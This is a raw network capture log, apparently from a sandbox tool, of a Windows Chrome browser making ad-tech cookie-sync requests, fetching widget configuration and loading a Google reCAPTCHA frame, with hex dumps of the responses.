2024-04-24 12:44:48 UTC	1237	IN	HTTP/1.1 302 Found Date: Wed, 24 Apr 2024 12:44:48 GMT Content-Length: 0 Connection: close Location: /rum?cm_dsp_id=39&external_user_id=69c771e8-c390-4607-a64f-75376e6bf1de&expiration=1716554686&gdpr=0&gdpr_consent=&C=1 CF-Ray: 87962fd0eb6e0ad7-LAS CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Zij.wNHM7X8AAEDfAUPT2wAA; Path=/; Domain=casalemedia.com; Expires=Thu, 24 Apr 2025 12:44:48 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPS=4295; Path=/; Domain=casalemedia.com; Expires=Tue, 23 Jul 2024 12:44:48 GMT; Max-Age=7776000; Secure; SameSite=None Set-Cookie: CMPRO=4295; Path=/; Domain=casalemedia.com; Expires=Tue, 23 Jul 2024 12:44:48 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1yswISnfvPNA0%2BtZC%2B0x%2BfLy3N%2FgFixP1OKKHrPWM%2BT6w0RmkFH1uBCMcqjs4rcHB6DJV9xQTgKb57P3dHuM0%2BK8T%2FJWJndDxT1%2FahPlkchk2XkyerilhfM%2B7MJ4oPUw6qi7Z0R481AehQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49922	104.36.113.107	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:47 UTC	896	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=69c771e8-c390-4607-a64f-75376e6bf1de&r=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dpubmatic HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:48 UTC	798	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 24 Apr 2024 12:44:47 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: KRTBCOOKIE_377=6810-69c771e8-c390-4607-a64f-75376e6bf1de&KRTB&22918-69c771e8-c390-4607-a64f-75376e6bf1de&KRTB&22926-69c771e8-c390-4607-a64f-75376e6bf1de&KRTB&23031-69c771e8-c390-4607-a64f-75376e6bf1de; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 23-Jul-2024 12:44:47 GMT; path=/ Set-Cookie: PugT=1713962687; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 24-May-2024 12:44:47 GMT; path=/ Location: https://match.adsrvr.org/track/cmf/generic?ttd_pid=pubmatic P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-24 12:44:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49923	172.67.11.155	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:47 UTC	464	OUT	GET /cache/app/wildcards.json HTTP/1.1 Host: cdn.acsbapp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "de3119f737ac997fbb853cf24e7025b5" If-Modified-Since: Fri, 19 Apr 2024 00:00:03 GMT
2024-04-24 12:44:48 UTC	736	IN	HTTP/1.1 304 Not Modified Date: Wed, 24 Apr 2024 12:44:48 GMT Connection: close Cache-Control: no-cache expires: Thu, 24 Apr 2025 12:44:32 GMT last-modified: Fri, 19 Apr 2024 00:00:03 GMT etag: "de3119f737ac997fbb853cf24e7025b5" x-goog-generation: 1713484803296703 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 212 x-goog-hash: crc32c=3RTOjg== x-goog-hash: md5=3jEZ9zesmX+7hTzyTnAltQ== x-goog-storage-class: STANDARD access-control-allow-origin: * access-control-expose-headers: * x-guploader-uploadid: ABPtcPpjwrlODOGe_M1_3nbRujKT53UnTQcp6qu9-ak2ZbIs3clNIrK2YrRrB5Z-P2gCunlhb5cmkPsBvg CF-Cache-Status: HIT Age: 16 Server: cloudflare CF-RAY: 87962fd19ffc69e6-LAS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49924	18.154.206.110	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:48 UTC	487	OUT	GET /v1/118aade4e91f193939b45ed0d3280360.json HTTP/1.1 Host: listgrowth.ctctcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "6aba559afcf8291c518df6fa4c481556" If-Modified-Since: Wed, 10 Apr 2024 20:08:09 GMT
2024-04-24 12:44:48 UTC	773	IN	HTTP/1.1 304 Not Modified Connection: close x-amz-id-2: LxN3IUSkkKLDeXGC1bcCbIoJRyMcBbozxVTISMiejt6adlb15fmnZulqSNRI6v4yR0MMRnsgDQCj8e+ey+J0tQ== x-amz-request-id: 7NJB4JDPT9878NDK Date: Wed, 24 Apr 2024 12:44:49 GMT x-amz-replication-status: COMPLETED Last-Modified: Wed, 10 Apr 2024 20:08:09 GMT Cache-Control: max-age=5 x-amz-version-id: qgRxA7gosVzT_wP9bW7f3kojvsIr4NKW Server: AmazonS3 ETag: "6aba559afcf8291c518df6fa4c481556" Vary: Accept-Encoding Recaptcha-Key: 6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr Access-Control-Expose-Headers: recaptcha-key X-Cache: RefreshHit from cloudfront Via: 1.1 1d7ed53a70523e576bff9c3bcb5eea38.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LAX50-P5 X-Amz-Cf-Id: cpCmgUM9zjeYtKwYT3j7hUNYffyEOj8oxuOFuuu4PCInQ518N3_vAw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49921	35.212.133.238	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:48 UTC	847	OUT	GET /syncd?dsp_id=93&user_group=1&user_id=69c771e8-c390-4607-a64f-75376e6bf1de&expires=30&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbidswitch HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:48 UTC	898	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 24 Apr 2024 12:44:48 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: https://x.bidswitch.net/ul_cb/syncd?dsp_id=93&user_group=1&user_id=69c771e8-c390-4607-a64f-75376e6bf1de&expires=30&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbidswitch Set-Cookie: tuuid=6620ae41-7969-4834-b48e-3bf84bd1f044; path=/; expires=Thu, 24-Apr-2025 12:44:48 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: c=1713962688; path=/; expires=Thu, 24-Apr-2025 12:44:48 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: tuuid_lu=1713962688; path=/; expires=Thu, 24-Apr-2025 12:44:48 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: c=1713962688; path=/; expires=Thu, 24-Apr-2025 12:44:48 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49926	104.18.36.155	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:48 UTC	868	OUT	GET /rum?cm_dsp_id=39&external_user_id=69c771e8-c390-4607-a64f-75376e6bf1de&expiration=1716554686&gdpr=0&gdpr_consent=&C=1 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=Zij.wNHM7X8AAEDfAUPT2wAA; CMPS=4295; CMPRO=4295
2024-04-24 12:44:48 UTC	988	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:44:48 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 87962fd56bea09ff-LAS CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Zij.wNHM7X8AAEDfAUPT2wAA; Path=/; Domain=casalemedia.com; Expires=Thu, 24 Apr 2025 12:44:48 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=4295; Path=/; Domain=casalemedia.com; Expires=Tue, 23 Jul 2024 12:44:48 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N%2F0IrcHfOeV9hCBFOy3EqPxE%2ByOfeFTd1zm7gEWYbvAZ6OquLnekxaP29dayN0yZz2sM8DWvG67EezSfTA5Y%2Fj8gPmv3%2FvLsohXibx5VD1IaguPBKe%2FaQkTYnqdJfxdSCGfhZa0dnBdcOA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-24 12:44:48 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49925	142.250.141.104	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:48 UTC	984	OUT	GET /recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6f0-AU0ZVVvbmh6dkGVd8Yz_j0mI5cetlhPJAQfYHaoqIBzpCMNTnw-wulni80qzNludahOGkL_6T-bQa0
2024-04-24 12:44:49 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 24 Apr 2024 12:44:48 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-aFyXJ2wAq_4P1l0DpeTcBA' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:44:49 UTC	364	IN	Data Raw: 31 64 31 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 Data Ascii: 1d14<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face
2024-04-24 12:44:49 UTC	1255	IN	Data Raw: 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e Data Ascii: v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fon
2024-04-24 12:44:49 UTC	1255	IN	Data Raw: 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 Data Ascii: 20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E0
2024-04-24 12:44:49 UTC	1255	IN	Data Raw: 55 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b Data Ascii: U+04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-24 12:44:49 UTC	1255	IN	Data Raw: 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b Data Ascii: ce { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+
2024-04-24 12:44:49 UTC	1255	IN	Data Raw: 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 Data Ascii: tic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight
2024-04-24 12:44:49 UTC	813	IN	Data Raw: 7d 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 61 46 79 58 4a 32 77 41 71 5f 34 50 31 6c 30 44 70 65 54 63 42 41 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f Data Ascii: }</style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/styles__ltr.css"><script nonce="aFyXJ2wAq_4P1l0DpeTcBA" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.co
2024-04-24 12:44:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49927	3.33.220.150	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:48 UTC	1034	OUT	GET /track/cmf/generic?ttd_pid=pubmatic HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFKAMyCwjSrpXb4ZnyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..
2024-04-24 12:44:49 UTC	652	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:44:48 GMT Content-Type: image/gif Content-Length: 70 Connection: close server: Kestrel set-cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; expires=Thu, 24 Apr 2025 12:44:48 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFIAEoAzILCNKuldvhmfI8EAVCDyINCAESCQoFdGllcjIQAVoHM2w2ZDc1OGAB; expires=Thu, 24 Apr 2025 12:44:48 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-24 12:44:49 UTC	70	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 81 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 01 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!NETSCAPE2.0!,;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49929	35.212.133.238	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
